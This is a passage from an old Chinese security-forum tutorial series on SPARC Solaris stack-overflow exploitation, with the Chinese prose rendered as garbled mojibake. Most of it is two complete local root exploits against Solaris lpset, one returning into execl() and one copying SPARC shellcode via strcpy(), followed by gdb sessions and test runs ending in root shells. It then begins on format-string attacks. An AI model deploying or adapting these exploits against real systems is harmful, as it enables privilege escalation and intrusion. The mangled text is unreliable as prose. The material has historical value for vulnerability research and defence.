ÀÕâʱºòÎÒÃǵÄexecl()ËùÐèÒªµÄÈý¸ö²ÎÊýÒѾ­ÔÚ%i0/%i1/%i2ÖÐÁË£¬¶øÏÖÔÚµÄ%o0-%o7 ¾ÍÊÇÎÒÃǸ²¸ÇµÄmain()º¯ÊýµÄÕ»Ö¡ÄÚÈÝ¡£Èç¹û°´ÕÕÔ­À´µÄ×ö·¨£¬ÏÖÔÚÓ¦¸ÃÌøµ½execl() ´¦È¥Ö´ÐУ¬È»ºóÖ´ÐÐsaveÖ¸Á½«%oÔÙ±ä³É%i.µ«ÊǼÈÈ»ÎÒÃÇËùÒªµÄ²ÎÊýÒѾ­ÔÚ%iÖÐÁË£¬ ÎÒÃǾͲ»±ØÔÙÖ´ÐÐsaveÖ¸ÁîÁË£¬ËùÒÔÎÒÃÇÔ­À´Ìî³äµÄÊÇ(execl()-4),ÕâÑù(%i7+8)= (execl()+4),¸ÕºÃÌø¹ýsaveÖ¸Á¶øµ±ÎÒÃÇÖ´ÐÐÍêexecl()·µ»ØµÄʱºò,ret/resotreÖ¸Áî »á´Ó%fp2ËùÖ¸µÄÕ»Ö¡Öлָ´%iºÍ%l,²¢Ìøµ½(%i7+8)´¦£¨Ò²¾ÍÊÇ (ÏÂÒ»¸ö·Çleafº¯ÊýµØÖ· + 4) )Ö´ÐÐ,ÒÔ´ËÀàÍÆ£¬¾Í¿ÉÒÔ˳ÐòÖ´Ðжà¸ö·Çleafº¯Êý¡£ ×¢Ò⣺Æäʵexecl()ÕýÈ·Ö´ÐÐÍêºóÊDz»»á·µ»ØµÄ£¬Òò´Ë(%i7+8)ͨ³£²¢²»»á±»Ö´Ðе½. £¨³ý·Çexecl()Ö´ÐÐʧ°Ü). 3.4 ¹ØÓÚ¼ÙÕ»Ö¡µØÖ·µÄÈ·¶¨ Òò´ËÕâÀïµÄÒ»¸ö¹Ø¼üÎÊÌâÊÇÈçºÎÈ·¶¨»·¾³±äÁ¿ÖмÙÕ»Ö¡µÄµØÖ·£¬Õâ¸öµØÖ·±ØÐë·Ç³£¾«È·£¬ ·ñÔòexecl()Ö´Ðп϶¨»áʧ°Ü¡£ÎÒÃÇʹÓÃexecle()À´µ÷ÓÃÓÐÈõµãµÄ³ÌÐò£¬execle()ÔÊÐíÎÒ ÃÇ×Ô¼º¶¨ÖÆ»·¾³±äÁ¿µÄÄÚÈÝ£¬ÕâÑù¿ÉÒÔ×î´óÏ޶ȵÄÏû³ý²»Í¬Óû§ÓÉÓÚ»·¾³±äÁ¿²»Í¬¶øµ¼ ÖµļÙÕ»Ö¡µØÖ·µÄ²î±ð¡£Solaris¶ÑÕ»µÄ×î¶¥¶Ë×ÜÊǰüº¬³ÌÐòµÄ·¾¶ÒÔ¼°ÏµÍ³Æ½Ì¨½á¹¹ÐŠϢ¡£ÀýÈ磺 µÍÖ· | | __________ | | ¶ÑÕ»Çø | | |__________| | | »·¾³±äÁ¿ | | |__________| |sp_addr| ƽ̨ÐÅÏ¢ | | |__________| | | ³ÌÐò·¾¶ | | |__________| | |0x00000000| 1*4 ×îºóËĸö×Ö½Ú×ÜÊÇ0 | |__________| v0xffbf0000 (Solaris 7) ¸ßÖ· ƽ̨ÐÅÏ¢ºÍ³ÌÐò·¾¶µÄ³¤¶È¶¼¿ÉÒÔÈ·¶¨£¬µ«ÊÇsp_addrµÄµØÖ·²¢²»ÊǼòµ¥µÄµÈͬÓÚ 0xffbf0000 - 4 - ƽ̨ÐÅÏ¢³¤¶È - ³ÌÐò·¾¶³¤¶È - 2 (2ÊÇÇ°ÃæÁ½¸ö×Ö·û´®½áβµÄ\0) ¶øÊÇ»¹ÒªÔÙ¼õÈ¥¸öÆ«ÒÆÁ¿£¬ÎÒ²âÊÔÁ˶à´Î£¬Õâ¸öֵͨ³£ÊÇ0-5Ö®¼ä¡£ ¼òµ¥µÄ¿´¸öÀý×Ó£º bash-2.03# gdb ./ex2 GNU gdb 4.18 <......> (gdb) b main Breakpoint 1 at 0x10c9c (gdb) r Starting program: /export/home/warning3/test/non/./ex2 Breakpoint 1, 0x10c9c in main () (gdb) x/200s 0xffbeff00 <.......> 0xffbeff93: "TERM=vt100" 0xffbeff9e: "PATH=/usr/local/bin:/usr/sbin:/usr/bin" 0xffbeffc5: "SUNW,Ultra-5_10" <--- ƽ̨ÐÅÏ¢£¬²»Í¬µÄ»úÆ÷¿ÉÄܲ»Ò»Ñù 0xffbeffd5: "/export/home/warning3/test/non/ex2" <-- ·¾¶ÐÅÏ¢ 0xffbefff8: "" 0xffbefff9: "" 0xffbefffa: "" 0xffbefffb: "" 0xffbefffc: "" 0xffbefffd: "" 0xffbefffe: "" 0xffbeffff: "" 0xffbf0000: 0xffbf0000: ---Type to continue, or q to quit---q Quit (gdb) x/20x 0xffbeffc0 0xffbeffc0: 0x2f62696e 0x0053554e 0x572c556c 0x7472612d 0xffbeffd0: 0x355f3130 0x002f6578 0x706f7274 0x2f686f6d 0xffbeffe0: 0x652f7761 0x726e696e 0x67332f74 0x6573742f 0xffbefff0: 0x6e6f6e2f 0x65783200 0x00000000 0x00000000 0xffbf0000: Cannot access memory at address 0xffbf0000. (gdb) 3.5 Ò»¸öʵ¼ÊµÄÀý×Ólpset_nonexec.c ÏÖÔÚÎÒÃǾͿÉÒÔÀ´Ð´Ò»¸öеIJâÊÔ³ÌÐòÁË£¬»¹ÊÇÒÔlpsetΪÀý£º -- Ò²ÐíÓÐÒ»Ì죬ËûÔÙ´Óº£ÉÏÅîÅîµÄÓêµãÖÐÉýÆð£¬ ·ÉÏòÎ÷À´£¬ÔÙÐγÉÒ»µÀ½­Á÷£¬Ôٳ嵹Á½ÅÔµÄʯ±Ú£¬ ÔÙÀ´Ñ°¼Ð°¶µÄÌÒ»¨¡£È»¶ø£¬ÎÒ²»¸Ò˵À´Éú£¬Ò²²»¸ÒÐÅÀ´Éú...... ¡ù À´Ô´:£®Î人°×ÔÆ»Æº×Õ¾ bbs.whnet.edu.cn£®[FROM: 203.207.226.124] -------------------------------------------------------------------------------- ·ÖÀàÌÖÂÛÇø È«²¿ÌÖÂÛÇø ÉÏһƪ ±¾ÌÖÂÛÇø »ØÎÄÕ ÏÂһƪ ·¢ÐÅÈË: scz (СËÄ), ÐÅÇø: Security ±ê Ìâ: Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(6) ·¢ÐÅÕ¾: Î人°×ÔÆ»Æº×Õ¾ (Mon May 15 00:25:05 2000), Õ¾ÄÚÐżþ --------------------------------------------------------------------------------- /* ---> lpset_nonexec.c <--- * expoit for lpset in Solaris 2.6/7 sparc version with non-exec-statck feature. * * It is one test for writing exploits in Sparc to defeat non-exec statck, * just for EDUCATIONAL purpose.:) * tested in Solaris 2.6/7 /sparc. * Usages: * ./lpset_nonexec * by warning3@hotmail.com * y2k/05/05 */ #include #include #include #include #include #include #define VULPROG "/usr/bin/lpset" #define SHELL "/bin/ksh" #define PRINTER "blah" #define BUFSIZE 944 /* the size of overflowed buffer*/ #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ #define OFFSET 4 /* if don't work ,try adjust offst to 0 - 5 */ long get_sp(void) { __asm__("mov %sp,%i0"); } main( int argc, char **argv ) { char *env[7]; char fakeframe[512]; char plat[256]; void *handle; long execl_addr; char *pattern; long sh_addr, i, sp_addr,fp_addr, fp2_addr; long bufsize=BUFSIZE, offset=OFFSET, patternsize ; long *addrptr; if( argc > 1 ) offset = atoi(argv[1]); if( argc > 2 ) bufsize = atoi(argv[2]); /* get plat info */ sysinfo(SI_PLATFORM,plat,256); sp_addr = (get_sp() | 0xffff) & 0xfffffffc; /* fp2_addr must be valid stack address */ fp2_addr = (sp_addr & 0xfffffac0); /* get shell string address */ sh_addr = sp_addr - strlen(VULPROG) - offset - strlen(plat) - strlen(SHELL) -2 ; /* get our fake frame address */ fp_addr = sh_addr - 8*8 -1; printf("Usages: %s \n", argv[0] ); printf("Using SHELL address = 0x%x ,FP address = 0x%x, Offset = %d, Bufsize = %d\n", sh_addr, fp_addr, offset, bufsize ); if (!(handle=dlopen(NULL,RTLD_LAZY))) { fprintf(stderr,"Can't dlopen myself.\n"); exit(1); } if ((execl_addr=(long)dlsym(handle,"execl"))==NULL) { fprintf(stderr,"Can't find execl().\n"); exit(1); } /* dec 4 to skip the 'save' instructure */ execl_addr -= 4; /* check if the exec addr includes zero */ if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) || !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000)) { fprintf(stderr,"the address of execl() contains a '0'. sorry.\n"); exit(1); } printf("found execl() at 0x%lx\n",execl_addr); patternsize = bufsize + 4*4 + 16*4 + 1; if((pattern = (char *)malloc(patternsize)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } /* construct pattern buffer to overwrite the vul program */ memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage */ memset(pattern+20, 0x3d, 1); /* put '=' into buf, man lpset for why */ addrptr = (long *) (pattern + bufsize + 4*4 ); /* Let's overwrite caller function's saved stack frame I know it's ugly,but just make it more clearly .:) */ /* saved %l0-%l7 */ *addrptr++ = fp_addr; /* %l0 */ *addrptr++ = fp_addr; /* %l1 */ *addrptr++ = fp_addr; /* %l2 */ *addrptr++ = fp_addr; /* %l3 */ *addrptr++ = fp_addr; /* %l4 */ *addrptr++ = fp_addr; /* %l5 */ *addrptr++ = fp_addr; /* %l6 */ *addrptr++ = fp_addr; /* %l7 */ /* saved %i0-%i7 */ *addrptr++ = fp_addr; /* %i0 */ *addrptr++ = fp_addr; /* %i1 */ *addrptr++ = fp_addr; /* %i2 */ *addrptr++ = fp_addr; /* %i3 */ *addrptr++ = fp_addr; /* %i4 */ *addrptr++ = fp_addr; /* %i5 */ *addrptr++ = fp_addr; /* saved %fp(%i6) */ *addrptr++ = execl_addr; /* saved ret addr (%i7) */ /* now we set up our fake stack frame */ addrptr=(long *)fakeframe; *addrptr++= 0x12345678; /* you can put any data in local registers */ *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++=sh_addr; /* points to our string to exec */ *addrptr++=sh_addr; /* argv[1] is a copy of argv[0] */ *addrptr++=0x0; /* NULL for execl(); &fakeframe[40] */ *addrptr++=fp2_addr; /* &fakeframe[44] */ *addrptr++=fp2_addr; *addrptr++=fp2_addr; *addrptr++=fp2_addr; /* we need this address to work */ *addrptr++=fp2_addr; /* cause we don't need exec another func,so put garbage here */ *addrptr++=0x0; /* Construct fake frame in environ */ /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */ env[0]=(fakeframe); /* sh_addr|sh_addr|0x00 */ env[1]=&(fakeframe[40]);/* |0x00 */ env[2]=&(fakeframe[40]);/* |0x00 */ env[3]=&(fakeframe[40]);/* |0x00 */ env[4]=&(fakeframe[44]);/* |fp2|fp2|fp2|fp2|fp2*/ env[5]=SHELL; /* shell strings */ env[6]=NULL; /* adjust pattern size by printer length */ execle(VULPROG, VULPROG,"-n","fns","-a", (pattern+strlen(PRINTER)-4), PRINTER,NULL,env); } --------------------------------------------------------------------------------- ÔÙÀ´²âÊÔһϣº bash-2.03$ gcc -o lpset_nonexec lpset_nonexec.c -ldl bash-2.03$ ./lpset_nonexec Usages: ./lpset_nonexec Using SHELL address = 0xffbeffd1 ,FP address = 0xffbeff90, Offset = 4, Bufsize = 944 found execl() at 0xff30da9c # id uid=100(warning3) gid=1(other) euid=0(root) <---- ³É¹¦ÁË! ×¢Ò⣺ ÔÚ²»Í¬µÄϵͳÉÏ(Ö÷ÒªÊÇÓ²¼þƽ̨²»Í¬)£¬offsetµÄÖµ¿ÉÄÜÓв»Í¬£¬ÐèÒª×öһЩµ÷Õû. -- Ò²ÐíÓÐÒ»Ì죬ËûÔÙ´Óº£ÉÏÅîÅîµÄÓêµãÖÐÉýÆð£¬ ·ÉÏòÎ÷À´£¬ÔÙÐγÉÒ»µÀ½­Á÷£¬Ôٳ嵹Á½ÅÔµÄʯ±Ú£¬ ÔÙÀ´Ñ°¼Ð°¶µÄÌÒ»¨¡£È»¶ø£¬ÎÒ²»¸Ò˵À´Éú£¬Ò²²»¸ÒÐÅÀ´Éú...... ¡ù À´Ô´:£®Î人°×ÔÆ»Æº×Õ¾ bbs.whnet.edu.cn£®[FROM: 203.207.226.124] -------------------------------------------------------------------------------- ·ÖÀàÌÖÂÛÇø È«²¿ÌÖÂÛÇø ÉÏһƪ ±¾ÌÖÂÛÇø »ØÎÄÕ ÏÂһƪ ·¢ÐÅÈË: scz (СËÄ), ÐÅÇø: Security ±ê Ìâ: Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(7) ·¢ÐÅÕ¾: Î人°×ÔÆ»Æº×Õ¾ (Mon May 15 00:28:23 2000), Õ¾ÄÚÐżþ 3.6 ÀûÓÃstrcpy()¿½±´shellcode Èç¹ûÄãÈÔÈ»·ÇÒªÓÃsetuid(0),È»ºóÖ´ÐÐexecl()µÄ°ì·¨£¬ÎÒÃÇÔÙ½éÉÜÒ»ÖÖ·½·¨£¬ÀûÓà strcpy()½«ÎÒÃǵÄshellcode¿½±´µ½ÄÚ´æÖеÄijЩ¿ÉдµÄ²¿·ÖÈ¥£¬È»ºóÌøµ½ÄÇÀïÈ¥Ö´ÐС£ ÎÒÃǵÄ×ö·¨Êǽ«ÎÒÃǵÄshellcode·Åµ½»·¾³±äÁ¿ÖУ¬ÆðʼµØÖ·×÷Ϊstrcpy()µÄÔ´µØÖ·£¬ strcpy()µÄÄ¿µÄµØÖ·¿ÉÒÔÔÚ¿Éд¿ÉÖ´ÐеķǶÑÕ»¿Õ¼äÖÐÕÒ£¬È»ºó½«¼ÙÕ»Ö¡ÖеÄ%i7ÓÃÕâ ¸öÄ¿µÄµØÖ·´úÌæ¡£ÕâÑù£¬µ±strcpy()Íê³É¿½±´ºó£¬³ÌÐò¾ÍÌøµ½(Ä¿µÄµØÖ·+8)´¦Ö´ÐÐ £¨ÔÚshellcodeÇ°Ãæ¼Ó¼¸¸öNOPÖ¸Áî¼´¿É)¡£ ÕâÀï±È½ÏÂé·³µÄÊÇÔõôÕÒÕâ¸öÄ¿µÄµØÖ·£¬Solaris ÌṩÁ˼¸¸öÏÔʾ½ø³ÌÄÚ´æÐÅÏ¢µÄ³ÌÐò ÔÚ/usr/proc/binÏÂÃæ¡£/usr/proc/bin/pmap¿ÉÒÔÏÔʾ½ø³Ì¿Õ¼äµÄÓ³ÉäÇé¿ö¡£ÎÒÃÇ¿ÉÒÔ ÀûÓÃËüÀ´ÕÒµ½Ä¿µÄµØÖ·£º bash-2.03# gdb lpset GNU gdb 4.18 <......> (gdb) b main Breakpoint 1 at 0x10de0 (gdb) r Starting program: /usr/bin/lpset <.....> (gdb) ÔÚÁíÒ»¸öÖÕ¶Ë´°¿Ú²éÕÒlpsetµÄpid,È»ºóÔËÐÐpmap: bash-2.03# ps -ef|grep lpset root 14439 1 0 22:56:33 pts/3 0:00 /usr/bin/lpset bash-2.03# /usr/proc/bin/pmap 14439 14439: /usr/bin/lpset 00010000 8K read/exec /usr/bin/lpset 00020000 8K read/write/exec /usr/bin/lpset FF3B0000 120K read/exec dev:136,0 ino:100273 FF3DC000 8K read/write/exec dev:136,0 ino:100273 <--- ÕâÀïÊÇ¿Éд¿ÉÖ´ÐÐµÄ FFBEC000 16K read/write [ stack ] total 160K bash-2.03# ÎÒÃÇ¿ÉÒÔ½«DEST¶¨ÒåΪ0xff3dc0c0,ÔÚSolaris 2.6ÏÂÕâ¸öµØÖ·ÊDz»Ò»ÑùµÄ¡£ 3.7 Ò»¸öʵ¼ÊµÄÀý×Ólpset_nonexec1.c ÏÂÃæÊDzâÊÔ³ÌÐò£¬ºÍÇ°ÃæÄǸö²î±ð²»´ó£¬¾Í²»¶à˵ÁË£¬¿´¿´×¢ÊÍÓ¦¸Ã¾ÍÃ÷°×ÁË¡£ --------------------------------------------------------------------------------- /* ---> lpset_nonexec2.c <--- * expoit for lpset in Solaris 2.6/7 sparc version with non-exec-statck feature. * this exploit using strcpy() method. * It is one test for writing exploits in Sparc to defeat non-exec statck, * just for EDUCATIONAL purpose.:) * tested in Solaris 2.6/7 /sparc. * Usages: * gcc -o exn2 lpset_nonexec2.c -ldl * ./exn2 * by warning3@hotmail.com * y2k/05/05 */ #include #include #include #include #include #include #define VULPROG "/usr/bin/lpset" #define PRINTER "blah" #define BUFSIZE 944 /* the size of overflowed buffer*/ #define EGGSIZE 1024 /* the egg buffer size */ #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ #define OFFSET 4 /* if don't work ,try adjust offst to 0 - 5 */ #define DEST 0xff3dc0c0 /* in Solaris 7, the dest address that shellcode was strcpyed */ /* in Solaris 2.6 , #define DEST 0xef7fa0a0 */ char shellcode[] = /* from scz's funny shellcode for SPARC */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */ "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e" "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; long get_sp(void) { __asm__("mov %sp,%i0"); } main( int argc, char **argv ) { char *env[3]; char fakeframe[512]; char plat[256]; void *handle; long strcpy_addr, dest_addr=DEST; char *pattern,eggbuf[EGGSIZE]; long sh_addr, i, sp_addr,fp_addr, fp2_addr; long bufsize=BUFSIZE, offset=OFFSET, patternsize ; long *addrptr; if( argc > 1 ) offset = atoi(argv[1]); if( argc > 2 ) bufsize = atoi(argv[2]); /* get plat info */ sysinfo(SI_PLATFORM,plat,256); sp_addr = (get_sp() | 0xffff) & 0xfffffffc; /* fp2_addr must be valid stack address */ fp2_addr = (sp_addr & 0xfffffac0); /* get shell string address */ sh_addr = sp_addr - strlen(VULPROG) - offset - strlen(plat) - sizeof(eggbuf) -2 ; /* get our fake frame address */ fp_addr = sh_addr - 8*8 -1; printf("Usages: %s \n", argv[0] ); printf("Using SHELL address = 0x%x ,FP address = 0x%x, Offset = %d, Bufsize = %d\n", sh_addr, fp_addr, offset, bufsize ); if (!(handle=dlopen(NULL,RTLD_LAZY))) { fprintf(stderr,"Can't dlopen myself.\n"); exit(1); } if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL) { fprintf(stderr,"Can't find strcpy().\n"); exit(1); } /* dec 4 to skip the 'save' instructure */ strcpy_addr -= 4; /* check if the exec addr includes zero */ if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) || !(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000)) { fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n"); exit(1); } printf("found strcpy() at 0x%lx\n",strcpy_addr); printf("Use shellcode destination at 0x%lx\n",dest_addr); patternsize = bufsize + 4*4 + 16*4 + 1; if((pattern = (char *)malloc(patternsize)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } /* construct pattern buffer to overwrite the vul program */ memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage */ memset(pattern+20, 0x3d, 1); /* put '=' into buf, man lpset for why */ addrptr = (long *) (pattern + bufsize + 4*4 ); /* Let's overwrite caller function's saved stack frame I know it's ugly,but just make it more clearly .:) */ /* saved %l0-%l7 */ *addrptr++ = fp_addr; /* %l0 */ *addrptr++ = fp_addr; /* %l1 */ *addrptr++ = fp_addr; /* %l2 */ *addrptr++ = fp_addr; /* %l3 */ *addrptr++ = fp_addr; /* %l4 */ *addrptr++ = fp_addr; /* %l5 */ *addrptr++ = fp_addr; /* %l6 */ *addrptr++ = fp_addr; /* %l7 */ /* saved %i0-%i7 */ *addrptr++ = fp_addr; /* %i0 */ *addrptr++ = fp_addr; /* %i1 */ *addrptr++ = fp_addr; /* %i2 */ *addrptr++ = fp_addr; /* %i3 */ *addrptr++ = fp_addr; /* %i4 */ *addrptr++ = fp_addr; /* %i5 */ *addrptr++ = fp_addr; /* saved %fp(%i6) */ *addrptr++ = strcpy_addr; /* saved ret addr (%i7) */ /* ·µ»Øµ½mainµÄʱºò%i7Ö¸Ïòstrcpy-4£¬%fpÖ¸Ïò¼ÙÕ»Ö¡¡£´Ómain·µ»ØµÄʱºò»áÖ´ÐÐ strcpy+4£¬´Ó¼ÙÕ»Ö¡»á»Ö¸´i¼Ä´æÆ÷×壬עÒâÕâÀïÒѾ­ÈÿªÁËsaveÖ¸Áî */ /* now we set up our fake stack frame */ addrptr=(long *)fakeframe; *addrptr++= 0x12345678; /* you can put any data in local registers */ *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++=dest_addr; /* destination address */ *addrptr++=sh_addr; /* source address of shellcode */ *addrptr++=fp2_addr; *addrptr++=fp2_addr; *addrptr++=fp2_addr; *addrptr++=fp2_addr; *addrptr++=fp2_addr; /* we need this address to work */ *addrptr++=dest_addr; /* we will jump (dest_addr+8) to run */ *addrptr++=0x0; /* ´Óstrcpy·µ»Øºó£¬%i7Ö¸ÏòÎÒÃǵÄshellcode+8£¬%fpÂÒÖ¸ÁËЩµØ·½£¬ÊÇʲôµØ·½¶¼ÎÞ Ëùν£¬¿É²»¿É·ÃÎʶ¼ÎÞËùν£¬ÒòΪÎÒÃǵÄshellcode²»»áÖ´ÐÐrestoreÖ¸ÁîµÄ¡£ */ memset(eggbuf,'A',EGGSIZE); /* fill the eggbuf with garbage */ for (i = 0; i < EGGSIZE; i+=4) /* fill with NOP */ { eggbuf[i+3]=NOP & 0xff; eggbuf[i+2]=(NOP >> 8 ) &0xff; eggbuf[i+1]=(NOP >> 16 ) &0xff; eggbuf[i+0]=(NOP >> 24 ) &0xff; /* Big endian */ } /* Notice : we assume the length of shellcode can be divided exatcly by 4 . If not, exploit will fail. Anyway, our shellcode is. ;-) */ memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4 , shellcode, strlen(shellcode)); /* Construct fake frame in environ */ env[0]=(fakeframe); /* dest_addr|sh_addr|fp2|fp2|fp2|fp2|fp2|dest_addr */ env[1]=eggbuf; env[2]=NULL; /* adjust pattern size by printer length */ execle(VULPROG, VULPROG,"-n","fns","-a", (pattern+strlen(PRINTER)-4), PRINTER,NULL,env); } /* end of main */ --------------------------------------------------------------------------------------------------- ²âÊÔһϣº bash-2.03$ gcc -o exn2 lpset_nonexec2.c -ldl bash-2.03$ ./exn2 Usages: ./exn2 Using SHELL address = 0xffbefbd9 ,FP address = 0xffbefb98, Offset = 4, Bufsize = 944 found strcpy() at 0xff2b6960 Use shellcode destination at 0xff3dc0c0 sh: C: not found # id uid=0(root) gid=1(other) <---- ³É¹¦£¡ -- Ò²ÐíÓÐÒ»Ì죬ËûÔÙ´Óº£ÉÏÅîÅîµÄÓêµãÖÐÉýÆð£¬ ·ÉÏòÎ÷À´£¬ÔÙÐγÉÒ»µÀ½­Á÷£¬Ôٳ嵹Á½ÅÔµÄʯ±Ú£¬ ÔÙÀ´Ñ°¼Ð°¶µÄÌÒ»¨¡£È»¶ø£¬ÎÒ²»¸Ò˵À´Éú£¬Ò²²»¸ÒÐÅÀ´Éú...... ¡ù À´Ô´:£®Î人°×ÔÆ»Æº×Õ¾ bbs.whnet.edu.cn£®[FROM: 203.207.226.124] -------------------------------------------------------------------------------- ·ÖÀàÌÖÂÛÇø È«²¿ÌÖÂÛÇø ÉÏһƪ ±¾ÌÖÂÛÇø »ØÎÄÕ ÏÂһƪ ·¢ÐÅÈË: scz (СËÄ), ÐÅÇø: Security ±ê Ìâ: Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(8) ·¢ÐÅÕ¾: Î人°×ÔÆ»Æº×Õ¾ (Mon May 15 00:29:50 2000), Õ¾ÄÚÐżþ 4. ½áÊøÓï ÉÏÃæÖ»ÊǽéÉÜһЩ»ù±¾µÄ·½·¨ºÍ˼·£¬ÔÚʵ¼ÊÓ¦ÓõÄʱºò£¬»¹¿ÉÄÜ»áÅöµ½ºÜ¶àÎÊÌâ¡£ ÀýÈ磬ÓÐЩÇé¿öÏ£¬%i0-%i5µÄÖµÊDz»ÄÜËæ±ãÌîµÄ£¬·ñÔò½«µ¼Öº¯Êý²»ÄÜÕý³£·µ»Ø£¬ Ö»ÄܾßÌåÇé¿ö¾ßÌå·ÖÎö¡£±Ï¾¹ÕâÖ»ÊÇÈëÃÅÐÔÖʵÄÎÄÕ£¬Å׿éשͷ°ÕÁË¡£ ¸ÐлÄÜ¿´µ½ÕâÀïµÄÅóÓÑ£¬Ð»Ð»ÄúµÄÄÍÐÄ. ¸Ðл5.1Õâô³¤µÄ¼ÙÆÚ£¬ÈÃÎÒÓÐʱ¼äдµã¶«Î÷¡£ :-) 5. ²Î¿¼ÎÄÏ×£º [1]. <>,horizon [2]. << ex_lpset.c Overflow Exploits( for Intel Edition )>>,The Shadow Penguin Security [3]. <>,Peter Magnusson. [4]. <>,Arthur B. Maccabe,Jeff Vandyke <<Íê>> -- Ò²ÐíÓÐÒ»Ì죬ËûÔÙ´Óº£ÉÏÅîÅîµÄÓêµãÖÐÉýÆð£¬ ·ÉÏòÎ÷À´£¬ÔÙÐγÉÒ»µÀ½­Á÷£¬Ôٳ嵹Á½ÅÔµÄʯ±Ú£¬ ÔÙÀ´Ñ°¼Ð°¶µÄÌÒ»¨¡£È»¶ø£¬ÎÒ²»¸Ò˵À´Éú£¬Ò²²»¸ÒÐÅÀ´Éú...... ¡ù À´Ô´:£®Î人°×ÔÆ»Æº×Õ¾ bbs.whnet.edu.cn£®[FROM: 203.207.226.124] -------------------------------------------------------------------------------- ¡ô Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд£¨Ðø£© ×÷Õߣºwarning3 < warning3@nsfocus.com > Ö÷Ò³£ºhttp://www.nsfocus.com/ ÈÕÆÚ£º2000-11-14 ǰÑÔ£º ÕâÆªÎÄÕÂÊÇ¡°Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд¡±µÄÐøÆª¡£Ö÷ÒªÊǽéÉÜ ÁËһЩеķ½Ê½ÒÔ¼°¼¼ÇÉ¡£°üÀ¨ÔÚSPARCϽøÐиñʽ´®¹¥»÷ÒÔ¼°×¼È·¶¨Î» shellcodeµÄ¼¼ÇÉ¡£ Ŀ¼£º 1. SPARCƽ̨ϵĸñʽ´®¹¥»÷ 2. ׼ȷ¶¨Î»shellcode 3. ÀûÓøñʽ´®¹¥»÷Í»ÆÆSolaris²»¿ÉÖ´ÐжÑÕ»±£»¤ ÄÚÈÝ£º 1. SPARCƽ̨ϵĸñʽ´®¹¥»÷ ÔÚSPARCƽ̨ϽøÐиñʽ´®¹¥»÷ÓëÔÚx86ƽ̨Ï»ù±¾Ïàͬ¡£Ô­ÀíÇë²Î¼û"*printf ()¸ñʽ»¯´®°²È«Â©¶´·ÖÎö"Ò»ÎÄ£¬ÕâÀï²»ÔÙ׸Êö¡£Ëù²»Í¬µÄµØ·½ÓÐÁ½´¦£º (1) ÓÉÓÚSPARCƽ̨Êý¾Ý´æ´¢²ÉÓõÄÊÇ"big-endian"·½Ê½, ¸ßλ×Ö½ÚÔÚ½ÏµÍµÄ µØÖ·ÉÏ£¬ÕâÓëIntel x86µÄ´æ´¢·½Ê½Ïà·´¡£Òò´ËÔÚ½øÐи²¸ÇµÄʱºòҪעÒâ˳Ðò¡£ (2) SPARCƽ̨Ϻܶà²Ù×÷¶¼ÒªÇó²ÎÊýµÄµØÖ·±ØÐëÊÇÄܱ»4Õû³ýµÄ£¬¼´ÒªÇó±ß ½ç¶ÑÆë¡£"%n"²Ù×÷¾ÍÒªÇ󸲸ǵĵØÖ·±ß½ç¶ÔÆë¡£Ê¹ÓÃgdb¸ú×ٵõ½¸ÃÖ¸ÁîΪ£º st %o0, [ %o1 ] Òò´ËÎÒÃDz»ÄÜʹÓÃÒÔǰµÄÄÇÖÖ¶à´Î¸²¸ÇµÄ·½·¨: ·Ö±ð¸²¸Çretloc, retloc+1, retloc+2, retloc+3¡£ ÒòΪretloc+1/retloc+2/retloc+3¿Ï¶¨ÊDz»Äܱ»4Õû ³ýµÄ¡£ ÁíÍâ"%n"¶ÔÄܸ²¸ÇµÄ³¤¶ÈÊÇÓÐÏÞÖÆµÄ£¬Èç¹û´òÓ¡³¤¶È³¬¹ý0xe0000000(ÔÚ Solaris 7Ï£¬Õâ¸ö³¤¶ÈÊǿ϶¨²»Ðеģ¬È·Çеı߽çÎÒûÓÐ×ÐϸÊÔ)£¬Ëƺõ Solaris»áºöÂÔ´òÓ¡³¤¶È¡£Í¨³£ÔÚSolaris 2.6Ï£¬¶ÑÕ»µØÖ·¸ßÓÚ0xefff0000, Solaris 7϶ÑÕ»µØÖ·¸ßÓÚ0xffbe0000. Òò´ËÈç¹ûÎÒÃǵÄshellcodeµØÖ·ÊÇÔÚ ¶ÑÕ»ÖУ¬ÀûÓÃ"%n"µÄ·½·¨ÊDz»Äܳɹ¦½øÐи²¸ÇµÄ¡£ ΨһµÄ°ì·¨£¬ËƺõÖ»ÓÐÀûÓÃ"%hn"½øÐй¥»÷ÁË¡£¿ªÊ¼ÎÒÒÔΪ"%hn"Ò²²»ÄÜ¶Ô 